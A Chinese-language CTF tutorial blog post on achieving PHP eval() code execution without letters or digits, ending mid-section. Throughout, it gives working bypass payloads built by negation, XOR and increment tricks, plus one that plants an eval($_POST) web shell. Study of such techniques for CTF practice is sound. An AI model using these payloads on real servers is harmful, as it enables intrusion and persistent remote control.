简单看看无数字字母RCE


这两天一直在看的玩意,原来我已经菜到啥也不会了,qwq。

简单引入

命令执行:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("不合要求啊");
}
eval($code);
}else{
highlight_file(__FILE__);
die("你啥都没输入啊");
}
//可以自己用PHP Study搭一个来测试

跑一个过滤字符的php看看能用啥字符

把数字和字母都过滤了,但是大多数符号是能够使用的,所以来看看这个要怎么绕过捏

1.url取反绕过(PHP7)

在PHP7中能够直接进行url取反绕过

1
2
3
4
5
<?php
echo urlencode(~'phpinfo');
?>

//output:%8F%97%8F%96%91%99%90
1
payload:?code=(~%8F%97%8F%96%91%99%90)();

结果如下

如果是PHP5的话需要多几步

1
2
3
4
5
6
7
8
9
<?php
echo urlencode(~'assert');
echo urlencode(~'_POST');
?>

//output:%9E%8C%8C%9A%8D%8B
//%A0%AF%B0%AC%AB
$_ = ~"%9E%8C%8C%9A%8D%8B";$__=~"%A0%AF%B0%AC%AB";$___=$$__;$_($___[_]);

2.汉字取反

Orz,这个多少带点离谱,通过对汉字取反得到想要的英文字符

参考大佬给出的生成器(雾),可以通过汉字跑出想要的英文字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php
header("Content-type:text/html;charset=utf-8");
$shell = "assert";
$result = "";
$arr =array();
$word = "一乙二十丁厂七卜人入八九几儿了力乃刀又三于干亏士工土才寸下大丈与万上小口巾山千乞川亿个勺久凡及夕丸么广亡门义之尸弓己已子卫也女飞刃习叉马乡丰王井开夫天无元专云扎艺
木五支厅不太犬区历尤友匹车巨牙屯比互切瓦止少日中冈贝内水见午牛手毛气升长仁什片仆化仇币仍仅斤爪反介父从今凶分乏公仓月氏勿欠风丹匀乌凤勾文六方火为斗忆订计户认心尺引
丑巴孔队办以允予劝双书幻玉刊示末未击打巧正扑扒功扔去甘世古节本术可丙左厉右石布龙平灭轧东卡北占业旧帅归且旦目叶甲申叮电号田由史只央兄叼叫另叨叹四生失禾丘付仗代仙们
仪白仔他斥瓜乎丛令用甩印乐句匆册犯外处冬鸟务包饥主市立闪兰半汁汇头汉宁穴它讨写让礼训必议讯记永司尼民出辽奶奴加召皮边发孕圣对台矛纠母幼丝式刑动扛寺吉扣考托老执巩圾
扩扫地扬场耳共芒亚芝朽朴机权过臣再协西压厌在有百存而页匠夸夺灰达列死成夹轨邪划迈毕至此贞师尘尖劣光当早吐吓虫曲团同吊吃因吸吗屿帆岁回岂刚则肉网年朱先丢舌竹迁乔伟传
乒乓休伍伏优伐延件任伤价份华仰仿伙伪自血向似后行舟全会杀合兆企众爷伞创肌朵杂危旬旨负各名多争色壮冲冰庄庆亦刘齐交次衣产决充妄闭问闯羊并关米灯州汗污江池汤忙兴宇守宅
字安讲军许论农讽设访寻那迅尽导异孙阵阳收阶阴防奸如妇好她妈戏羽观欢买红纤级约纪驰巡寿弄麦形进戒吞远违运扶抚坛技坏扰拒找批扯址走抄坝贡攻赤折抓扮抢孝均抛投坟抗坑坊抖
护壳志扭块声把报却劫芽花芹芬苍芳严芦劳克苏杆杠杜材村杏极李杨求更束豆两丽医辰励否还歼来连步坚旱盯呈时吴助县里呆园旷围呀吨足邮男困吵串员听吩吹呜吧吼别岗帐财针钉告我
乱利秃秀私每兵估体何但伸作伯伶佣低你住位伴身皂佛近彻役返余希坐谷妥含邻岔肝肚肠龟免狂犹角删条卵岛迎饭饮系言冻状亩况床库疗应冷这序辛弃冶忘闲间闷判灶灿弟汪沙汽沃泛沟
没沈沉怀忧快完宋宏牢究穷灾良证启评补初社识诉诊词译君灵即层尿尾迟局改张忌际陆阿陈阻附妙妖妨努忍劲鸡驱纯纱纳纲驳纵纷纸纹纺驴纽奉玩环武青责现表规抹拢拔拣担坦押抽拐拖
拍者顶拆拥抵拘势抱垃拉拦拌幸招坡披拨择抬其取苦若茂苹苗英范直茄茎茅林枝杯柜析板松枪构杰述枕丧或画卧事刺枣雨卖矿码厕奔奇奋态欧垄妻轰顷转斩轮软到非叔肯齿些虎虏肾贤尚
旺具果味昆国昌畅明易昂典固忠咐呼鸣咏呢岸岩帖罗帜岭凯败贩购图钓制知垂牧物乖刮秆和季委佳侍供使例版侄侦侧凭侨佩货依的迫质欣征往爬彼径所舍金命斧爸采受乳贪念贫肤肺肢肿
胀朋股肥服胁周昏鱼兔狐忽狗备饰饱饲变京享店夜庙府底剂郊废净盲放刻育闸闹郑券卷单炒炊炕炎炉沫浅法泄河沾泪油泊沿泡注泻泳泥沸波泼泽治怖性怕怜怪学宝宗定宜审宙官空帘实试
郎诗肩房诚衬衫视话诞询该详建肃录隶居届刷屈弦承孟孤陕降限妹姑姐姓始驾参艰线练组细驶织终驻驼绍经贯奏春帮珍玻毒型挂封持项垮挎城挠政赴赵挡挺括拴拾挑指垫挣挤拼挖按挥挪
某甚革荐巷带草茧茶荒茫荡荣故胡南药标枯柄栋相查柏柳柱柿栏树要咸威歪研砖厘厚砌砍面耐耍牵残殃轻鸦皆背战点临览竖省削尝是盼眨哄显哑冒映星昨畏趴胃贵界虹虾蚁思蚂虽品咽骂
哗咱响哈咬咳哪炭峡罚贱贴骨钞钟钢钥钩卸缸拜看矩怎牲选适秒香种秋科重复竿段便俩贷顺修保促侮俭俗俘信皇泉鬼侵追俊盾待律很须叙剑逃食盆胆胜胞胖脉勉狭狮独狡狱狠贸怨急饶蚀
饺饼弯将奖哀亭亮度迹庭疮疯疫疤姿亲音帝施闻阀阁差养美姜叛送类迷前首逆总炼炸炮烂剃洁洪洒浇浊洞测洗活派洽染济洋洲浑浓津恒恢恰恼恨举觉宣室宫宪突穿窃客冠语扁袄祖神祝误
诱说诵垦退既屋昼费陡眉孩除险院娃姥姨姻娇怒架贺盈勇怠柔垒绑绒结绕骄绘给络骆绝绞统耕耗艳泰珠班素蚕顽盏匪捞栽捕振载赶起盐捎捏埋捉捆捐损都哲逝捡换挽热恐壶挨耻耽恭莲莫
荷获晋恶真框桂档桐株桥桃格校核样根索哥速逗栗配翅辱唇夏础破原套逐烈殊顾轿较顿毙致柴桌虑监紧党晒眠晓鸭晃晌晕蚊哨哭恩唤啊唉罢峰圆贼贿钱钳钻铁铃铅缺氧特牺造乘敌秤租积
秧秩称秘透笔笑笋债借值倚倾倒倘俱倡候俯倍倦健臭射躬息徒徐舰舱般航途拿爹爱颂翁脆脂胸胳脏胶脑狸狼逢留皱饿恋桨浆衰高席准座脊症病疾疼疲效离唐资凉站剖竞部旁旅畜阅羞瓶拳
粉料益兼烤烘烦烧烛烟递涛浙涝酒涉消浩海涂浴浮流润浪浸涨烫涌悟悄悔悦害宽家宵宴宾窄容宰案请朗诸读扇袜袖袍被祥课谁调冤谅谈谊剥恳展剧屑弱陵陶陷陪娱娘通能难预桑绢绣验继
球理捧堵描域掩捷排掉堆推掀授教掏掠培接控探据掘职基著勒黄萌萝菌菜萄菊萍菠营械梦梢梅检梳梯桶救副票戚爽聋袭盛雪辅辆虚雀堂常匙晨睁眯眼悬野啦晚啄距跃略蛇累唱患唯崖崭崇
圈铜铲银甜梨犁移笨笼笛符第敏做袋悠偿偶偷您售停偏假得衔盘船斜盒鸽悉欲彩领脚脖脸脱象够猜猪猎猫猛馅馆凑减毫麻痒痕廊康庸鹿盗章竟商族旋望率着盖粘粗粒断剪兽清添淋淹渠渐
混渔淘液淡深婆梁渗情惜惭悼惧惕惊惨惯寇寄宿窑密谋谎祸谜逮敢屠弹随蛋隆隐婚婶颈绩绪续骑绳维绵绸绿琴斑替款堪搭塔越趁趋超提堤博揭喜插揪搜煮援裁搁搂搅握揉斯期欺联散惹葬
葛董葡敬葱落朝辜葵棒棋植森椅椒棵棍棉棚棕惠惑逼厨厦硬确雁殖裂雄暂雅辈悲紫辉敞赏掌晴暑最量喷晶喇遇喊景践跌跑遗蛙蛛蜓喝喂喘喉幅帽赌赔黑铸铺链销锁锄锅锈锋锐短智毯鹅剩
稍程稀税筐等筑策筛筒答筋筝傲傅牌堡集焦傍储奥街惩御循艇舒番释禽腊脾腔鲁猾猴然馋装蛮就痛童阔善羡普粪尊道曾焰港湖渣湿温渴滑湾渡游滋溉愤慌惰愧愉慨割寒富窜窝窗遍裕裤裙
谢谣谦属屡强粥疏隔隙絮嫂登缎缓编骗缘瑞魂肆摄摸填搏塌鼓摆携搬摇搞塘摊蒜勤鹊蓝墓幕蓬蓄蒙蒸献禁楚想槐榆楼概赖酬感碍碑碎碰碗碌雷零雾雹输督龄鉴睛睡睬鄙愚暖盟歇暗照跨跳
跪路跟遣蛾蜂嗓置罪罩错锡锣锤锦键锯矮辞稠愁筹签简毁舅鼠催傻像躲微愈遥腰腥腹腾腿触解酱痰廉新韵意粮数煎塑慈煤煌满漠源滤滥滔溪溜滚滨粱滩慎誉塞谨福群殿辟障嫌嫁叠缝缠静
碧璃墙撇嘉摧截誓境摘摔聚蔽慕暮蔑模榴榜榨歌遭酷酿酸磁愿需弊裳颗嗽蜻蜡蝇蜘赚锹锻舞稳算箩管僚鼻魄貌膜膊膀鲜疑馒裹敲豪膏遮腐瘦辣竭端旗精歉熄熔漆漂漫滴演漏慢寨赛察蜜谱
嫩翠熊凳骡缩慧撕撒趣趟撑播撞撤增聪鞋蕉蔬横槽樱橡飘醋醉震霉瞒题暴瞎影踢踏踩踪蝶蝴嘱墨镇靠稻黎稿稼箱箭篇僵躺僻德艘膝膛熟摩颜毅糊遵潜潮懂额慰劈操燕薯薪薄颠橘整融醒餐
嘴蹄器赠默镜赞篮邀衡膨雕磨凝辨辩糖糕燃澡激懒壁避缴戴擦鞠藏霜霞瞧蹈螺穗繁辫赢糟糠燥臂翼骤鞭覆蹦镰翻鹰警攀蹲颤瓣爆疆壤耀躁嚼嚷籍魔灌蠢霸露囊罐匕刁丐歹戈夭仑讥冗邓艾
夯凸卢叭叽皿凹囚矢乍尔冯玄邦迂邢芋芍吏夷吁吕吆屹廷迄臼仲伦伊肋旭匈凫妆亥汛讳讶讹讼诀弛阱驮驯纫玖玛韧抠扼汞扳抡坎坞抑拟抒芙芜苇芥芯芭杖杉巫杈甫匣轩卤肖吱吠呕呐吟呛
吻吭邑囤吮岖牡佑佃伺囱肛肘甸狈鸠彤灸刨庇吝庐闰兑灼沐沛汰沥沦汹沧沪忱诅诈罕屁坠妓姊妒纬玫卦坷坯拓坪坤拄拧拂拙拇拗茉昔苛苫苟苞茁苔枉枢枚枫杭郁矾奈奄殴歧卓昙哎咕呵咙
呻啰咒咆咖帕账贬贮氛秉岳侠侥侣侈卑刽刹肴觅忿瓮肮肪狞庞疟疙疚卒氓炬沽沮泣泞泌沼怔怯宠宛衩祈诡帚屉弧弥陋陌函姆虱叁绅驹绊绎契贰玷玲珊拭拷拱挟垢垛拯荆茸茬荚茵茴荞荠荤
荧荔栈柑栅柠枷勃柬砂泵砚鸥轴韭虐昧盹咧昵昭盅勋哆咪哟幽钙钝钠钦钧钮毡氢秕俏俄俐侯徊衍胚胧胎狰饵峦奕咨飒闺闽籽娄烁炫洼柒涎洛恃恍恬恤宦诫诬祠诲屏屎逊陨姚娜蚤骇耘耙秦
匿埂捂捍袁捌挫挚捣捅埃耿聂荸莽莱莉莹莺梆栖桦栓桅桩贾酌砸砰砾殉逞哮唠哺剔蚌蚜畔蚣蚪蚓哩圃鸯唁哼唆峭唧峻赂赃钾铆氨秫笆俺赁倔殷耸舀豺豹颁胯胰脐脓逛卿鸵鸳馁凌凄衷郭斋
疹紊瓷羔烙浦涡涣涤涧涕涩悍悯窍诺诽袒谆祟恕娩骏琐麸琉琅措捺捶赦埠捻掐掂掖掷掸掺勘聊娶菱菲萎菩萤乾萧萨菇彬梗梧梭曹酝酗厢硅硕奢盔匾颅彪眶晤曼晦冕啡畦趾啃蛆蚯蛉蛀唬唾
啤啥啸崎逻崔崩婴赊铐铛铝铡铣铭矫秸秽笙笤偎傀躯兜衅徘徙舶舷舵敛翎脯逸凰猖祭烹庶庵痊阎阐眷焊焕鸿涯淑淌淮淆渊淫淳淤淀涮涵惦悴惋寂窒谍谐裆袱祷谒谓谚尉堕隅婉颇绰绷综绽
缀巢琳琢琼揍堰揩揽揖彭揣搀搓壹搔葫募蒋蒂韩棱椰焚椎棺榔椭粟棘酣酥硝硫颊雳翘凿棠晰鼎喳遏晾畴跋跛蛔蜒蛤鹃喻啼喧嵌赋赎赐锉锌甥掰氮氯黍筏牍粤逾腌腋腕猩猬惫敦痘痢痪竣翔
奠遂焙滞湘渤渺溃溅湃愕惶寓窖窘雇谤犀隘媒媚婿缅缆缔缕骚瑟鹉瑰搪聘斟靴靶蓖蒿蒲蓉楔椿楷榄楞楣酪碘硼碉辐辑频睹睦瞄嗜嗦暇畸跷跺蜈蜗蜕蛹嗅嗡嗤署蜀幌锚锥锨锭锰稚颓筷魁衙
腻腮腺鹏肄猿颖煞雏馍馏禀痹廓痴靖誊漓溢溯溶滓溺寞窥窟寝褂裸谬媳嫉缚缤剿赘熬赫蔫摹蔓蔗蔼熙蔚兢榛榕酵碟碴碱碳辕辖雌墅嘁踊蝉嘀幔镀舔熏箍箕箫舆僧孵瘩瘟彰粹漱漩漾慷寡寥
谭褐褪隧嫡缨撵撩撮撬擒墩撰鞍蕊蕴樊樟橄敷豌醇磕磅碾憋嘶嘲嘹蝠蝎蝌蝗蝙嘿幢镊镐稽篓膘鲤鲫褒瘪瘤瘫凛澎潭潦澳潘澈澜澄憔懊憎翩褥谴鹤憨履嬉豫缭撼擂擅蕾薛薇擎翰噩橱橙瓢蟥
霍霎辙冀踱蹂蟆螃螟噪鹦黔穆篡篷篙篱儒膳鲸瘾瘸糙燎濒憾懈窿缰壕藐檬檐檩檀礁磷了瞬瞳瞪曙蹋蟋蟀嚎赡镣魏簇儡徽爵朦臊鳄糜癌懦豁臀藕藤瞻嚣鳍癞瀑襟璧戳攒孽蘑藻鳖蹭蹬簸簿蟹
靡癣羹鬓攘蠕巍鳞糯譬霹躏髓蘸镶瓤矗";
function mb_str_split( $string ) {
return preg_split('/(?<!^)(?!$)/u', $string );
}
foreach (mb_str_split($word) as $c)
{
$arr[] = $c;
}

for ($x=0;$x<strlen($shell);$x++)
{
for ($y=0;$y<count($arr);$y++)
{
$k = $arr[$y];
if ($shell[$x] == ~($k{1}))
{
$result .= $k;
break;
}
}
}
echo $result;

只需要修改$shell=''即可,例如assert就可以通过“极区区皮十勺”得到,POST可以通过“寸小欠立”得到

注意:assert在PHP7.0.12以上版本中已经不能够执行命令了(assert()内如果是字符串会当作php代码执行)

取反:~($var1{1});

所以我们需要用符号构造出1,这里可以使用$_;使得变量的值变为1(i

1
2
3
4
$_++;$__ = "极";$___ = ~($__{$_});$__ = "区";$___ .= ~($__{$_});$___ .= ~($__{$_});$__ = "皮";$___ .= ~($__{$_});$__ = "十";$___ .= ~($__{$_});$__ = "勺";$___ .= ~($__{$_});$____ = '_';$__ = "寸";$____ .= ~($__{$_});$__ = "小";$____ .= ~($__{$_});$__ = "欠";$____ .= ~($__{$_});$__ = "立";$____ .= ~($__{$_});$_ = $$____;$___($_[_]);

//相当于assert(_POST[_]);
//传参时需要进行一次URL编码

这就是执行的结果

3.异或

异或运算:比方5^Z

5的ASCII码是53,转成二进制是00110101,Z的ASCII码是90,转成二进制是01011010,二者异或会得到

01101111,转成字符串就是o

所以我们可以通过这个特性构造出我们想要的字符

接下来就是上大佬的脚本时间了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
$shell = "assert";
$result1 = "";
$result2 = "";
for($num=0;$num<=strlen($shell);$num++)
{
for($x=33;$x<=126;$x++)
{
if(judge(chr($x)))
{
for($y=33;$y<=126;$y++)
{
if(judge(chr($y)))
{
$f = chr($x)^chr($y);
if($f == $shell[$num])
{
$result1 .= chr($x);
$result2 .= chr($y);
break 2;
}
}
}
}
}
}
echo $result1;
echo "<br>";
echo $result2;

function judge($c)
{
if(!preg_match('/[a-z0-9]/is',$c))
{
return true;
}
return false;
}

//result:!((%)(
//@[[@[\

所以assert可以通过

1
"!((%)("^@[[@[\"

得到,注意反斜杠转义需要多加一个\,即

1
"!((%)(^"@[[@[\\"

_POST:

1
"!+/(("^"~{`{|"

所以可以构造:

1
$_="!((%)("^"@[[@[\\";$__="!+/(("^"~{`{|";$___=$$__;$_($___[_]);

同样需要进行url编码

执行成功:

4.自增

运行一下,看看会得出什么?

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
highlight_file(__FILE__);
$_=''.[];
$__=$_[0];
$___=$__;
$___++;
echo $_;
echo "<br>";
echo $__;
echo "<br>";
echo $___;

很神奇吧,会拼凑出A、B

解释一下:在Dest0g3-520迎新赛中有解释过 . 能够拼接变量,数组拼接字符串会显示Array(第一步)

第二步,截取A

A++ => B; B++=>C…以此类推,可以得到A-Z所有字符,然后不断通过拼接,总能得到:

1
2
3
assert($_POST[_]);
或者$_GET[_]($_GET[__]);的形式
(第二个可以执行highlight_file(/flag))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
$_=[].''; //得到"Array"
$___ = $_[$__]; //得到"A",$__没有定义,默认为False也即0,此时$___="A"
$__ = $___; //$__="A"
$_ = $___; //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"S",此时$__="S"
$___ .= $__; //$___="AS"
$___ .= $__; //$___="ASS"
$__ = $_; //$__="A"
$__++;$__++;$__++;$__++; //得到"E",此时$__="E"
$___ .= $__; //$___="ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++; //得到"R",此时$__="R"
$___ .= $__; //$___="ASSER"
$__++;$__++; //得到"T",此时$__="T"
$___ .= $__; //$___="ASSERT"
$__ = $_; //$__="A"
$____ = "_"; //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"P",此时$__="P"
$____ .= $__; //$____="_P"
$__ = $_; //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"O",此时$__="O"
$____ .= $__; //$____="_PO"
$__++;$__++;$__++;$__++; //得到"S",此时$__="S"
$____ .= $__; //$____="_POS"
$__++; //得到"T",此时$__="T"
$____ .= $__; //$____="_POST"
$_ = $$____; //$_=$_POST
$___($_[_]); //ASSERT($POST[_])
//这就是自增的过程,又长又臭

这里直接上一个题好了(ctfshow的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow $_POST['ctf_show'];
    if (is_string($ctfshow)) {
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}

同样的过滤了一堆符号,并且不能使用数字,英文字母(

其实跑一下脚本看看能用什么更加直观:

基本上能用的只有符号,不过没有限制下划线,加号,中括号小括号和$

然后提示是吃瓜杯的shellme,去看一下,wp是自增构造的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
if ($_GET['looklook']){
highlight_file(__FILE__);
}else{
setcookie("hint", "?looklook", time()+3600);
}
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow)) {
if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/",$ctfshow)){
eval($ctfshow);
}else{
echo("fucccc hacker!!");
}
}
} else {

phpinfo();
}
?>
//shellme_revenge的源码,可以看到还能够用C、0123,上面比他更加严格一点,payload是构造的$_GET[0]($_GET[1]);形式

但是这题不能够用任何数字(虽然没多大影响)

只需要构造出A,就能够造出_GET,那就能够传参

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
$_=''.[];
$___=($_[$__]);//构造出A
$____=$___; //赋值
$___++;$___++;$___++;$___++;$___++;$___++; //$___=G
$_____=$___;//$_____=G
$___=$____;//$___=A
$___++;$___++;$___++;$___++;//$___=E
$_____.=$___//$_____=GE
$___=$____;//$___=A
$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;//$___=T
$_____.=$___;//$_____=GET
$______=_.$______//$______=_GET
$$______[_]($$______[__]);//$_GET[_]($_GET[__]);
?>

只需要传参执行命令即可:

总体payload:

1
2
3
1. url/?_=system&__=ls /    //ps:system如果被禁用可以换成passthru
2. Post data:ctf_show=$_=''.[];$___=($_[$__]);$____=$___;$___++;$___++;$___++;$___++;$___++;$___++;$_____=$___;$___=$____;$___++;$___++;$___++;$___++;$_____.=$___;$___=$____;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$_____ .=$___;$______ =_.$_____;$$______[_]($$______[__]);
//发现f1agaaa
1
2
3
4
然后,可以用两种方式:
1.url/?_=passthru&__=cat /f1agaaa
2.url/?_=highlight_file&__=/f1agaaa
能够得出同样的结果

5.Post执行

通过Post一个文件使用#!/bin/sh命令并用.(点)执行这个文件,就可以执行命令

例如

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
die("cerror");
}
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
die("serror");
}
eval($cmd);
}
?>

同样经过测试 能用的字符只有:

只能通过一个字母p,但是没有过滤点号和反引号,所以可以使用Post传文件并且通过.执行sh命令

(文件上传后储存的位置在/tmp/php+6个随机字母)

1
2
如果没有过滤[]、@、-、的话,可以通过/???/????????[@-[]匹配,因为@ 和[的ascii码范围能够包括所有的大写字母
但是这里留下了个p,所以可以直接通过/??p/p?p??????直接匹配

借助一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://6513dc73-a852-41be-9d0e-37df3309d232.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->

<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">

</form>
</body>
</html>
<!--poc-->

burp抓包然后修改一下就可,能够找到/flag.txt,直接cat /flag.txt

有时候也可以直接.+/???/???[@-[]执行,例如ctfshow web入门 55

(只要大小于号、反引号没被过滤基本上能用上面的payload)

而且这个好像只能适用于get传参执行的样子…

(注:使用echo+反引号能够执行命令,?><?=``也相当于echo+反引号)

最后附上过滤字符的php,根据题目的不同修改preg_match就好了(

1
2
3
4
5
6
7
<?php
for($a = 20; $a < 127; $a++){
if (!preg_match("/[A-Za-oq-z0-9$]|\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/", chr($a))){
echo chr($a)." ";
}
}
?>

芜湖,结束了,摆烂摆烂,反正到时候也是啥都不会~

6.补充

1
2
3
4
5
6
//使用assert(_post)型,用于disable_functions过多,只能通过写马蚁剑链接的类型:
%24_%3D[].%27%27%3B%24___%3D%24_[%24__]%3B%24__%3D%24___%3B%24_%3D%24___%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24____%3D%22_%22%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_[_])%3B
//assert($_POST[_])&_=file_put_contents('1.php', '<?php eval($_POST[1]);?>')

//使用_=system&__=ls型
%24_%3D''.[]%3B%24___%3D(%24_[%24__])%3B%24____%3D%24___%3B%24___%2B%2B%3B%24___%2B%2B%3B%24___%2B%2B%3B%24___%2B%2B%3B%24___%2B%2B%3B%24___%2B%2B%3B%24_____%3D%24___%3B%24___%3D%24____%3B%24___%2B%2B%3B%24___%2B%2B%3B%24___%2B%2B%3B%24___%2B%2B%3B%24_____.%3D%24___%3B%24___%3D%24____%3B%24___%2B%2B%3B%24___%2B%2B%3B%24___%2B%2B%3B%24___%2B%2B%3B%24___%2B%2B%3B%24___%2B%2B%3B%24___%2B%2B%3B%24___%2B%2B%3B%24___%2B%2B%3B%24___%2B%2B%3B%24___%2B%2B%3B%24___%2B%2B%3B%24___%2B%2B%3B%24___%2B%2B%3B%24___%2B%2B%3B%24___%2B%2B%3B%24___%2B%2B%3B%24___%2B%2B%3B%24___%2B%2B%3B%24_____.%3D%24___%3B%24______%3D_.%24_____%3B%24%24______[_](%24%24______[__])%3B

7.自增条件下的有限制长度的RCE

有时候对于自增会限制我们的payload长度,这个时候我们要怎么做呢?

例如:

105字符内构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}

这题在上面的基础上增加了strlen的限制,限制我们的payload长度在105个以内

此时我们如果利用之前的payload的话,长度肯定会超出限制

此时的话可以利用另外一种拼接方式:

1
2
3
4
5
6
7
8
$a = ''.[];
echo $a; //Array

$b = _/_._;
echo $b; //NAN

//此时便可以使得我们获取到的字母从N开始,接近POST
//N++ = O O++=P P++=Q Q++=R R++=S S++=T

利用_/_._;拼凑出之前的payload:

1
$_=(_/_._)[_];$__=++$_;$__=++$_.$__;++$_;++$_;$__.=++$_;$__.=++$_;$_=_.$__;$$_[_]($$_[__]);
1
2
3
4
5
6
7
8
9
10
//解释:
$_=(_/_._)[_];//同样也能获取N
$__=++$_;//$__=O, $_=O
$__=++$_.$__; //$__=PO, $_=P
++$_;//$_=Q
++$_;//$_=R
$__.=++$_;//$__=POS $_=S
$__.=++$_;//$__=POST
$_=_.$__;//$_=_POST
$$_[_]($$_[__]);//$_POST[_]($_POST[__])

此时计算出来的长度为91,满足我们小于105的限制

84字符内构造:

还是这个题,将字符限制到84长度内又要怎么做呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}

